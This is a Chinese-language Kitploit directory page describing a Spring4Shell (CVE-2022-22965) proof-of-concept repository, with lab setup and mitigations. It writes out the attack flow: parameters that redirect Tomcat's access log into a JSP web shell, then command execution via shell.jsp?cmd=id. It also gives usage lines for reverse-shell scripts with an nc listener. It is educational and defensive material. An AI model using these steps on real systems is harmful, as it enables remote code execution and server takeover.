Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PoC-CVE-2022-22965-Spring4Shell — 描述 | Kitploit
工具/GitHubGitHub/march0n/poc-cve-2022-22965-spring4shell
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubmarch0n/poc-cve-2022-22965-spring4shell

PoC-CVE-2022-22965-Spring4Shell

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

描述

查看仓库
23个月前尚未审核

PoC — CVE-2022-22965 (Spring4Shell)

免责声明: 本仓库仅供教育和研究目的使用。 所有利用脚本必须仅针对您拥有或已获得明确书面授权测试的系统。作者不对因使用本材料造成的任何滥用或损害负责。

针对 CVE-2022-22965 的研究与概念验证,这是一个于 2022 年 4 月公开披露的严重 Spring Framework 远程代码执行(RCE)漏洞。


漏洞概述

Spring4Shell 影响 Spring MVC 和 Spring WebFlux 应用程序,当以下所有条件同时满足时:

条件值
JDK 版本9 或更高
应用服务器Apache Tomcat
打包方式WAR(非可执行 JAR)
Spring Framework< 5.3.18 或 < 5.2.20

工作原理

Spring 的数据绑定机制允许 HTTP 请求参数通过点号表示法(例如 user.name=foo)映射到 Java 对象属性。漏洞的根源在于此遍历未得到适当限制——攻击者可以通过模型对象的类层次结构访问 JVM 的 ClassLoader:

root@kitploit:~
class.module.classLoader.resources.context.parent.pipeline.first.<属性>

该路径到达 Tomcat 的 AccessLogValve,其日志配置可以在运行时被篡改。通过修改 pattern、directory、prefix 和 suffix 等属性,攻击者可将 Tomcat 的访问日志重定向为写入一个包含任意 JSP 代码的 .jsp 文件,从而在服务器上植入 Web Shell。

攻击流程

root@kitploit:~
1. POST /vulnerable
   class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP 载荷>
   class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
   class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
   class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
   class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

2. Tomcat 将访问日志写入 webapps/ROOT/shell.jsp,其中包含注入的载荷

3. GET /shell.jsp?cmd=id  →  RCE

仓库结构

root@kitploit:~
.
├── exploits/
│   ├── exploit1.py   # POST-based web shell with password protection
│   ├── exploit2.py   # POST-based web shell with reset capability
│   ├── exploit3.py   # GET-based variant (simplified)
│   ├── exploit4.py   # Reverse TCP shell (GET-based)
│   └── exploit4b.py  # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
    ├── Dockerfile    # Uses pre-built tomcat:9.0.60 image
    ├── Dockerfile2   # Builds from openjdk:11 + downloads Tomcat
    ├── pom.xml       # Maven project — Spring MVC 5.3.17 (vulnerable)
    └── src/          # Vulnerable Spring MVC application source

利用变体

使用示例

root@kitploit:~
# Web Shell
python3 exploits/exploit1.py http://target:8080/vulnerable

# 反向 Shell(先启动监听:nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444

实验环境搭建

前提条件

  • Java 11+
  • Maven(sudo apt install maven 或 sudo dnf install maven)
  • Docker(可选,推荐)

构建

root@kitploit:~
cd springmvc5-helloworld-example
mvn clean package

使用 Docker 运行

root@kitploit:~
# 选项1 — 使用预构建的 Tomcat 镜像
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell

# 选项2 — 从 openjdk 构建并下载 Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell

然后应用程序可通过 http://localhost:8082/vulnerable 访问。


缓解措施

  • 升级 Spring Framework 至 5.3.18+ 或 5.2.20+
  • 升级 Spring Boot 至 2.6.6+ 或 2.5.12+
  • 如果无法立即升级:
    • 降级至 JDK 8
    • 使用 WebDataBinder.setDisallowedFields() 阻止 classLoader 绑定
    • 部署 WAF 规则,拦截包含 class.、Class.、module. 或 classLoader 的参数

致谢

原始研究与利用代码由 @march0n 提供。 本仓库是我个人出于学习目的对该漏洞的研究,并附有额外的文档和分析。


参考资源

  • CVE-2010-1622 — 最初的 Spring ClassLoader 利用(2010 年)
  • 首次中文披露(微信)
  • 微软安全博客 — SpringShell 防护指南
  • LunaSec — Spring RCE 漏洞分析
  • Palo Alto Unit 42 — CVE-2022-22965 深度解析
下载工具
脚本方法载荷备注
exploit1.pyPOSTWeb Shell(密码保护)单次请求
exploit2.pyPOSTWeb Shell利用前后重置日志配置
exploit3.pyGETWeb Shell(无密码)参数通过查询字符串传递
exploit4.pyGET反向 TCP Shell基于 msfvenom 的 JSP 载荷
exploit4b.pyPOST反向 TCP Shell与 exploit4 相同的载荷,POST 变体